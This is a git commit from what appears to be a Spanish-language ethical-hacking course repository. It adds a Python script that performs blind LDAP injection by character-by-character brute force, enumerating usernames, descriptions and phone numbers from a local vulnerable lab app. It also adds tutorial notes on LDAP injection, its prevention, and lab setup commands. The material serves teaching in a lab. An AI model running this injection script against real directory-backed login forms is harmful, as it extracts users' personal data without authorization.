Update tema 6 - ldapi
This commit is contained in:
parent
8f96712d57
commit
cb6bcbcc86
229
Introduccion-hacking-hack4u/tema_6_owasp/14_ldapi/ldapi.py
Normal file
229
Introduccion-hacking-hack4u/tema_6_owasp/14_ldapi/ldapi.py
Normal file
@ -0,0 +1,229 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import os
|
||||||
|
# import pdb # Librería para debuguear
|
||||||
|
import requests
|
||||||
|
import signal
|
||||||
|
import sys
|
||||||
|
import string
|
||||||
|
import time
|
||||||
|
|
||||||
|
from pwn import *
|
||||||
|
from termcolor import colored
|
||||||
|
|
||||||
|
|
||||||
|
def signal_handler(sig, frame):
|
||||||
|
"""
|
||||||
|
Signal handler for Ctrl+C
|
||||||
|
"""
|
||||||
|
|
||||||
|
print(colored('\n\n[!] Saliendo...\n', 'red'))
|
||||||
|
sys.exit(0)
|
||||||
|
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
|
||||||
|
|
||||||
|
# Variables globales
|
||||||
|
MAIN_URL = 'http://localhost:8888/'
|
||||||
|
BURP_PROXY = {'http': 'http://127.0.0.1:8080'}
|
||||||
|
HEADERS = {'Content-Type': 'application/x-www-form-urlencoded'}
|
||||||
|
NUMBERS = string.digits
|
||||||
|
CHARACTERS = string.ascii_lowercase + NUMBERS + " áéíóúñüç"
|
||||||
|
|
||||||
|
# Limpiar pantalla
|
||||||
|
os.system('clear')
|
||||||
|
|
||||||
|
|
||||||
|
def getInitialUsers():
|
||||||
|
"""
|
||||||
|
Obtiene la lista inicial de usuarios
|
||||||
|
"""
|
||||||
|
|
||||||
|
# pdb.set_trace()
|
||||||
|
|
||||||
|
initial_users = []
|
||||||
|
|
||||||
|
for character in CHARACTERS:
|
||||||
|
|
||||||
|
post_data = f"user_id={character}*&password=*&login=1&submit=Submit"
|
||||||
|
|
||||||
|
r = requests.post(
|
||||||
|
MAIN_URL, data=post_data,
|
||||||
|
headers=HEADERS,
|
||||||
|
# proxies=BURP_PROXY,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if r.status_code == 301:
|
||||||
|
initial_users.append(character)
|
||||||
|
|
||||||
|
return initial_users
|
||||||
|
|
||||||
|
|
||||||
|
def getUsers(initial_users):
|
||||||
|
"""
|
||||||
|
Obtiene la lista de usuarios válidos
|
||||||
|
"""
|
||||||
|
|
||||||
|
valid_users = []
|
||||||
|
|
||||||
|
for first_character in initial_users:
|
||||||
|
|
||||||
|
user = ""
|
||||||
|
|
||||||
|
for position in range(0, 15):
|
||||||
|
|
||||||
|
for character in CHARACTERS:
|
||||||
|
|
||||||
|
post_data = f"user_id={first_character}{user}{character}*&password=*&login=1&submit=Submit"
|
||||||
|
|
||||||
|
r = requests.post(
|
||||||
|
MAIN_URL, data=post_data,
|
||||||
|
headers=HEADERS,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if r.status_code == 301:
|
||||||
|
user += character
|
||||||
|
break
|
||||||
|
|
||||||
|
if not user:
|
||||||
|
break
|
||||||
|
|
||||||
|
username = first_character + user
|
||||||
|
valid_users.append(username)
|
||||||
|
|
||||||
|
return valid_users
|
||||||
|
|
||||||
|
|
||||||
|
def getDescription(users):
|
||||||
|
"""
|
||||||
|
Obtiene las descripciones para los usuarios dados
|
||||||
|
"""
|
||||||
|
|
||||||
|
user_descriptions = {}
|
||||||
|
|
||||||
|
for user in users:
|
||||||
|
|
||||||
|
description = ""
|
||||||
|
|
||||||
|
for position in range(0, 25):
|
||||||
|
|
||||||
|
for character in CHARACTERS:
|
||||||
|
|
||||||
|
post_data = f"user_id={user})(description={description}{character}*))%00&password=*&login=1&submit=Submit"
|
||||||
|
|
||||||
|
r = requests.post(
|
||||||
|
MAIN_URL, data=post_data,
|
||||||
|
headers=HEADERS,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if r.status_code == 301:
|
||||||
|
description += character
|
||||||
|
break
|
||||||
|
|
||||||
|
if not description:
|
||||||
|
break
|
||||||
|
|
||||||
|
user_descriptions[user] = description
|
||||||
|
|
||||||
|
return user_descriptions
|
||||||
|
|
||||||
|
|
||||||
|
def getPhones(users):
|
||||||
|
"""
|
||||||
|
Obtiene los teléfonos para los usuarios dados
|
||||||
|
"""
|
||||||
|
|
||||||
|
user_phones = {}
|
||||||
|
|
||||||
|
for user in users:
|
||||||
|
|
||||||
|
phone = ""
|
||||||
|
|
||||||
|
for position in range(0, 9):
|
||||||
|
|
||||||
|
for number in NUMBERS:
|
||||||
|
|
||||||
|
post_data = f"user_id={user})(telephoneNumber={phone}{number}*))%00&password=*&login=1&submit=Submit"
|
||||||
|
|
||||||
|
r = requests.post(
|
||||||
|
MAIN_URL, data=post_data,
|
||||||
|
headers=HEADERS,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if r.status_code == 301:
|
||||||
|
phone += number
|
||||||
|
break
|
||||||
|
|
||||||
|
user_phones[user] = phone
|
||||||
|
|
||||||
|
return user_phones
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""
|
||||||
|
Función principal
|
||||||
|
"""
|
||||||
|
|
||||||
|
p1 = log.progress(colored("Fuerza bruta contra el LDAP", 'blue'))
|
||||||
|
p1.status(colored("Iniciando ataque", 'magenta'))
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
p1.status(colored("Atacando usuarios", 'magenta'))
|
||||||
|
p2 = log.progress(colored("Buscando usuarios", 'blue'))
|
||||||
|
initial_users = getInitialUsers()
|
||||||
|
valid_users = getUsers(initial_users)
|
||||||
|
p2.success(colored(f"Usuarios encontrados: {valid_users}", 'green'))
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
p1.status(colored("Atacando descripciones", 'magenta'))
|
||||||
|
p3 = log.progress(colored("Buscando descripciones", 'blue'))
|
||||||
|
user_descriptions = getDescription(valid_users)
|
||||||
|
descriptions_list = list(user_descriptions.values())
|
||||||
|
p3.success(
|
||||||
|
colored(f"Descripciones encontradas: {descriptions_list}", 'green'))
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
p1.status(colored("Atacando teléfonos", 'magenta'))
|
||||||
|
p4 = log.progress(colored("Buscando Teléfonos", 'blue'))
|
||||||
|
user_phones = getPhones(valid_users)
|
||||||
|
phones_list = list(user_phones.values())
|
||||||
|
p4.success(colored(f"Teléfonos encontrados: {phones_list}", 'green'))
|
||||||
|
|
||||||
|
time.sleep(1)
|
||||||
|
|
||||||
|
usuario_descripcion_telefono = set(
|
||||||
|
user_descriptions.keys()).union(user_phones.keys())
|
||||||
|
|
||||||
|
p1.success(colored("Ataque finalizado", 'magenta'))
|
||||||
|
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
print(colored("\n\n[+] Resumen:\n", 'green'))
|
||||||
|
|
||||||
|
for user in usuario_descripcion_telefono:
|
||||||
|
|
||||||
|
description = user_descriptions.get(user, "No tiene descripción")
|
||||||
|
phone = user_phones.get(user, "No tiene teléfono")
|
||||||
|
|
||||||
|
if description == "":
|
||||||
|
description = "No tiene descripción"
|
||||||
|
if phone == "":
|
||||||
|
phone = "No tiene teléfono"
|
||||||
|
|
||||||
|
print(colored(
|
||||||
|
f"\n[+] Usuario: {user}\n Descripción: {description}\n Teléfono: {phone}",
|
||||||
|
'green'
|
||||||
|
))
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
|
||||||
|
main()
|
@ -17,6 +17,7 @@
|
|||||||
- [6.12 Ataque Type Juggling](#612-ataque-type-juggling)
|
- [6.12 Ataque Type Juggling](#612-ataque-type-juggling)
|
||||||
- [6.13 Inyecciones NoSQL](#613-inyecciones-nosql)
|
- [6.13 Inyecciones NoSQL](#613-inyecciones-nosql)
|
||||||
- [6.14 Inyecciones LDAP](#614-inyecciones-ldap)
|
- [6.14 Inyecciones LDAP](#614-inyecciones-ldap)
|
||||||
|
- [Ejercicio](#ejercicio)
|
||||||
- [6.15 Ataques de Deserialización](#615-ataques-de-deserialización)
|
- [6.15 Ataques de Deserialización](#615-ataques-de-deserialización)
|
||||||
- [6.16 Inyecciones LaTex](#616-inyecciones-latex)
|
- [6.16 Inyecciones LaTex](#616-inyecciones-latex)
|
||||||
- [6.17 Abuso de APIs](#617-abuso-de-apis)
|
- [6.17 Abuso de APIs](#617-abuso-de-apis)
|
||||||
@ -387,6 +388,98 @@ A continuación, se proporciona el enlace al proyecto de Github que nos descarga
|
|||||||
|
|
||||||
## 6.14 Inyecciones LDAP
|
## 6.14 Inyecciones LDAP
|
||||||
|
|
||||||
|
Las inyecciones LDAP (Protocolo de Directorio Ligero) son un tipo de ataque en el que se aprovechan las vulnerabilidades en las aplicaciones web que interactúan con un servidor LDAP. El servidor LDAP es un directorio que se utiliza para almacenar información de usuarios y recursos en una red.
|
||||||
|
|
||||||
|
La inyección LDAP funciona mediante la inserción de comandos LDAP maliciosos en los campos de entrada de una aplicación web, que luego son enviados al servidor LDAP para su procesamiento. Si la aplicación web no está diseñada adecuadamente para manejar la entrada del usuario, un atacante puede aprovechar esta debilidad para realizar operaciones no autorizadas en el servidor LDAP.
|
||||||
|
|
||||||
|
Al igual que las inyecciones SQL y NoSQL, las inyecciones LDAP pueden ser muy peligrosas. Algunos ejemplos de lo que un atacante podría lograr mediante una inyección LDAP incluyen:
|
||||||
|
|
||||||
|
- Acceder a información de usuarios o recursos que no debería tener acceso.
|
||||||
|
- Realizar cambios no autorizados en la base de datos del servidor LDAP, como agregar o eliminar usuarios o recursos.
|
||||||
|
- Realizar operaciones maliciosas en la red, como lanzar ataques de phishing o instalar software malicioso en los sistemas de la red.
|
||||||
|
|
||||||
|
Para evitar las inyecciones LDAP, las aplicaciones web que interactúan con un servidor LDAP deben validar y limpiar adecuadamente la entrada del usuario antes de enviarla al servidor LDAP. Esto incluye la validación de la sintaxis de los campos de entrada, la eliminación de caracteres especiales y la limitación de los comandos que pueden ser ejecutados en el servidor LDAP.
|
||||||
|
|
||||||
|
También es importante que las aplicaciones web se ejecuten con privilegios mínimos en la red y que se monitoreen regularmente las actividades del servidor LDAP para detectar posibles inyecciones.
|
||||||
|
|
||||||
|
A continuación, se proporciona el enlace directo al proyecto de Github que nos descargamos para desplegar un laboratorio práctico donde poder ejecutar esta vulnerabilidad:
|
||||||
|
|
||||||
|
- LDAP-Injection-Vuln-App: https://github.com/motikan2010/LDAP-Injection-Vuln-App
|
||||||
|
- LDAP: Qué es y para qué se utiliza este protocolo https://www.profesionalreview.com/2019/01/05/ldap/
|
||||||
|
|
||||||
|
|
||||||
|
### Ejercicio
|
||||||
|
|
||||||
|
Instalamos openldap con docker:
|
||||||
|
```
|
||||||
|
docker run -p 389:389 --name my-openldap-container --detach osixia/openldap:1.2.2
|
||||||
|
```
|
||||||
|
|
||||||
|
Descargamos el repositorio de LDAP-Injection-Vuln-App, construimos la imagen y la ejecutamos:
|
||||||
|
```
|
||||||
|
git clone https://github.com/motikan2010/LDAP-Injection-Vuln-App && cd LDAP-Injection-Vuln-App
|
||||||
|
docker run -p 389:389 --name openldap-container --detach osixia/openldap:1.2.2
|
||||||
|
docker build -t ldap-client-container .
|
||||||
|
docker run -dit --link openldap-container -p 8888:80 ldap-client-container
|
||||||
|
```
|
||||||
|
Con el siguiente comando ya podríamos extraer información del servidor LDAP:
|
||||||
|
```
|
||||||
|
ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin 'cn=admin'
|
||||||
|
```
|
||||||
|
(Si no lo tienes instalado: `sudo apt-get install slapd ldap-utils -y`)
|
||||||
|
|
||||||
|
Con el anterior comando, estamos buscando el usuario admin en el servidor LDAP. Si el usuario admin existe, el servidor LDAP devolverá información sobre el usuario. Si el usuario admin no existe, el servidor LDAP devolverá un mensaje de error.
|
||||||
|
|
||||||
|
Con nmap y utilizando scripts podríamos obtener información del servidor LDAP:
|
||||||
|
```
|
||||||
|
nmap -sV --script ldap\* -p 389 localhost
|
||||||
|
```
|
||||||
|
|
||||||
|
Ahora podemos jugar a concatenar filtros para obtener información del servidor LDAP:
|
||||||
|
```
|
||||||
|
ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin '(&(cn=admin)(description=LDAP*))'
|
||||||
|
```
|
||||||
|
|
||||||
|
Entramos en el contenedor openldap:
|
||||||
|
```
|
||||||
|
docker exec -it openldap-container bash
|
||||||
|
```
|
||||||
|
|
||||||
|
Y buscamos el fichero `new-user.ldif` en la ruta `/container/service/slapd/assets/test`.
|
||||||
|
|
||||||
|
Lo copiamos en local y cambiamos los datos a nuestro antojo:
|
||||||
|
```
|
||||||
|
dn: uid=invent,dc=example,dc=org
|
||||||
|
uid: invent
|
||||||
|
cn: invent
|
||||||
|
sn: 3
|
||||||
|
objectClass: top
|
||||||
|
objectClass: posixAccount
|
||||||
|
objectClass: inetOrgPerson
|
||||||
|
loginShell: /bin/bash
|
||||||
|
homeDirectory: /home/invent
|
||||||
|
uidNumber: 14583102
|
||||||
|
gidNumber: 14564100
|
||||||
|
userPassword: invent123
|
||||||
|
mail: invent@example.org
|
||||||
|
description: Uno que pasaba por aquí
|
||||||
|
telephoneNumber: 657849302
|
||||||
|
```
|
||||||
|
|
||||||
|
Creamos desde anfitrión el nuevo usuario referenciando el nuevo fichero:
|
||||||
|
```
|
||||||
|
ldapadd -x -H ldap://localhost -D "cn=admin,dc=example,dc=org" -w admin -f newuser.ldiff
|
||||||
|
```
|
||||||
|
|
||||||
|
Ahora podremos ver el nuevo usuario creado con el siguiente comando:
|
||||||
|
```
|
||||||
|
ldapsearch -x -H ldap://localhost -b dc=example,dc=org -D "cn=admin,dc=example,dc=org" -w admin
|
||||||
|
```
|
||||||
|
|
||||||
|
Bien, pues creamos un par más.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## 6.15 Ataques de Deserialización
|
## 6.15 Ataques de Deserialización
|
||||||
|
Loading…
Reference in New Issue
Block a user